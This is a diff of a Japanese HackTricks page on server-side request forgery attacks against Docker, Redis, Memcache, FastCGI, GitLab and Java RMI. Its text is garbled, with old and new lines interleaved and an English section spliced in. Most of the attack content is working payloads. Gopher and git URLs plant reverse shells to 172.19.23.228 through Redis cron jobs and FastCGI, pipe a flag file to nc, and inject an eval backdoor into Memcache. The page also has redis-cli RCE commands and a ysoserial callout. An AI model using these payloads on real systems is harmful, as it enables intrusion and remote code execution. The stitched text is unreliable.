1. ターゲットのWebアプリケーションがSSRFの脆弱性を持っていること。
|
||||
2. ターゲットのWebアプリケーションがDockerデーモンに接続できること。
|
||||
3. ターゲットのWebアプリケーションがDockerイメージの実行権限を持っていること。
|
||||
|
||||
攻撃者は、以下の手順でRCEを達成します。
|
||||
|
||||
1. ターゲットのWebアプリケーションに対してSSRF攻撃を実行し、Dockerデーモンに接続します。
|
||||
2. 攻撃者は、Dockerデーモンに対して任意のDockerイメージを実行するリクエストを送信します。
|
||||
3. Dockerデーモンは、指定されたDockerイメージを実行し、攻撃者はコンテナ内で任意のコマンドを実行することができます。
|
||||
|
||||
この攻撃により、攻撃者はターゲットのシステムに対して完全な制御を取得することができます。したがって、WebアプリケーションのSSRF脆弱性を修正することが重要です。
|
||||
```http
|
||||
POST /containers/create?name=test HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -602,29 +503,27 @@ Content-Type: application/json
|
|||
```
|
||||
alpineを、Dockerコンテナで実行したい任意のイメージに置き換えてください。
|
||||
|
||||
# Gitlab Prometheus Redis Exporter
|
||||
## Gitlab Prometheus Redis Exporter
|
||||
|
||||
**一般的にバインドされるポート: 9121**
|
||||
|
||||
この脆弱性は、Gitlabのバージョン13.1.1より前のインスタンスに影響を与えます。[Gitlabのドキュメント](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus)によると、「Prometheusとそのエクスポーターは、GitLab 9.0以降、デフォルトで有効になっています。」
|
||||
この脆弱性は、Gitlabのバージョン13.1.1より前のインスタンスに影響を与えます。[Gitlabのドキュメント](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus)によると、「Prometheusとそのエクスポーターは、GitLab 9.0以降デフォルトで有効になっています。」
|
||||
|
||||
これらのエクスポーターは、攻撃者がCVE-2020-13379を使用して他のサービスに対して攻撃を行うための優れた手段を提供します。容易に悪用できるエクスポーターの1つはRedis Exporterです。
|
||||
これらのエクスポーターは、攻撃者がCVE-2020-13379を使用して他のサービスに侵入し攻撃するための優れた手段を提供します。容易に悪用できるエクスポーターの1つはRedis Exporterです。
|
||||
|
||||
以下のエンドポイントは、targetパラメーターを介して提供されるRedisサーバーのすべてのキーをダンプすることを攻撃者に許可します:
|
||||
```bash
|
||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
||||
```
|
||||
***
|
||||
|
||||
**Gopherを介して可能**
|
||||
|
||||
# Redis
|
||||
## Redis
|
||||
|
||||
**一般的にバインドされるポート: 6379**
|
||||
|
||||
おすすめの読み物:
|
||||
|
||||
* [HTTPリクエストを介したRedisのハックの試み](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
||||
* [HTTPリクエストを介してRedisをハックしようとする](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
||||
* [Redisに対するSSRF攻撃](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
|
||||
**Cronを介したRCE** - [Gopher攻撃の対象](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
|
@ -635,19 +534,42 @@ redis-cli -h $1 config set dir /var/spool/cron/
|
|||
redis-cli -h $1 config set dbfilename root
|
||||
redis-cli -h $1 save
|
||||
```
|
||||
Gopher:
|
||||
# SSRF Vulnerable Platforms
|
||||
|
||||
Gopherは、SSRF(サーバーサイドリクエストフォージェリ)の脆弱なプラットフォームの1つです。Gopherは、URLスキームを使用して情報を取得するため、SSRF攻撃の標的になりやすいです。Gopherプロトコルは、Gopherサーバーに接続してディレクトリリストやファイルの内容を取得するために使用されます。SSRF攻撃を実行するためには、Gopherスキームを使用して攻撃者が制御するサーバーにリクエストを送信する必要があります。これにより、攻撃者は内部ネットワークにアクセスし、機密情報を取得することができます。
|
||||
SSRF (Server-Side Request Forgery) is a common vulnerability that allows an attacker to make requests from the server to other internal or external resources. This can lead to various security risks, such as accessing sensitive information, performing unauthorized actions, or even bypassing firewalls.
|
||||
|
||||
以下は、Gopherプロトコルを使用してSSRF攻撃を実行するための例です。
|
||||
SSRF vulnerabilities can be found in various platforms and technologies. Here are some common platforms that are known to be vulnerable to SSRF attacks:
|
||||
|
||||
```bash
|
||||
curl gopher://attacker-server:70/_URL_
|
||||
## Gopher
|
||||
|
||||
Gopher is a protocol used for retrieving documents over the Internet. It was popular in the early days of the web but has since been largely replaced by HTTP. However, some applications still support the Gopher protocol, and these can be vulnerable to SSRF attacks.
|
||||
|
||||
To exploit an SSRF vulnerability in a Gopher-based application, an attacker can craft a malicious request that includes a Gopher URL pointing to an internal resource. When the server processes this request, it will make a request to the specified Gopher URL and return the response to the attacker.
|
||||
|
||||
For example, consider the following vulnerable code snippet:
|
||||
|
||||
```python
|
||||
import urllib.request
|
||||
|
||||
def fetch_data(url):
|
||||
response = urllib.request.urlopen(url)
|
||||
data = response.read()
|
||||
return data
|
||||
|
||||
def process_request(request):
|
||||
url = request.get('url')
|
||||
data = fetch_data(url)
|
||||
return data
|
||||
```
|
||||
|
||||
この例では、攻撃者はGopherスキームを使用して自分のサーバーにリクエストを送信しています。攻撃者は"_URL_"の部分を攻撃対象のURLに置き換えることで、攻撃対象のサーバーに対して任意のリクエストを送信することができます。
|
||||
In this code, the `fetch_data` function makes a request to the specified URL using the `urllib.request.urlopen` function. An attacker can exploit this by sending a request with a malicious URL, such as `gopher://attacker-controlled-server/`.
|
||||
|
||||
Gopherプロトコルを使用したSSRF攻撃は、脆弱なアプリケーションやサービスでよく見られます。攻撃者は、Gopherスキームを使用して攻撃対象のサーバーにリクエストを送信し、機密情報を取得することができます。したがって、アプリケーションやサービスの開発者は、Gopherプロトコルを適切に制御し、SSRF攻撃を防ぐための適切なセキュリティ対策を実装する必要があります。
|
||||
To prevent SSRF attacks in Gopher-based applications, it is important to validate and sanitize user-supplied URLs before making any requests. Additionally, it is recommended to restrict the protocols and domains that the application can access.
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP SSRF](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
|
||||
- [Gopher Protocol](https://en.wikipedia.org/wiki/Gopher_(protocol))
|
||||
```bash
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
|
@ -732,7 +654,7 @@ Liveoverflowの素晴らしい解説は[こちら](https://liveoverflow.com/gitl
|
|||
```bash
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
# Memcache
|
||||
## Memcache
|
||||
|
||||
**一般的にバインドされるポート: 11211**
|
||||
|
||||
|
@ -743,9 +665,9 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
||||
```
|
||||
# Apache Tomcat
|
||||
## Apache Tomcat
|
||||
|
||||
**一般にバインドされるポート: 80、443 (SSL)、8080、8443 (SSL)**
|
||||
**一般にバインドされるポート: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Tomcat 6に対して有効:
|
||||
|
||||
|
@ -753,21 +675,21 @@ Tomcat 6に対して有効:
|
|||
|
||||
この技術を使用したCTFの解説:
|
||||
|
||||
[XXEからRCEへ:Pwn2Win CTF 2018 解説](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
||||
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
||||
|
||||
# FastCGI
|
||||
## FastCGI
|
||||
|
||||
**一般にバインドされるポート: 80、443 (SSL)**
|
||||
**一般にバインドされるポート: 80,443 (SSL)**
|
||||
|
||||
これは[ここ](https://blog.chaitin.cn/gopher-attack-surfaces/)から取得されました。
|
||||
```bash
|
||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
|
||||
```
|
||||
# Java RMI
|
||||
## Java RMI
|
||||
|
||||
**一般的にバインドされるポート: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
||||
|
||||
任意のバイト(gopherベース)を許可する盲目のSSRF脆弱性は、Java RMIのデフォルトコンポーネント(RMIレジストリ、分散ガベージコレクタ、アクティベーションシステム)に対してシリアライゼーションまたはコードベース攻撃を実行するために使用できます。詳細な解説は[こちら](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)で見つけることができます。以下のリストは、ペイロード生成の例を示しています:
|
||||
任意のバイト(gopherベース)を許可する盲目のSSRF脆弱性は、Java RMIのデフォルトコンポーネント(RMIレジストリ、分散ガベージコレクタ、アクティベーションシステム)に対してシリアライゼーションまたはコードベース攻撃を実行するために使用できます。詳細な解説は[こちら](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)をご覧ください。以下のリストは、ペイロード生成の例を示しています:
|
||||
```
|
||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
||||
[+] Creating ysoserial payload... done.
|
||||
|
@ -780,14 +702,10 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue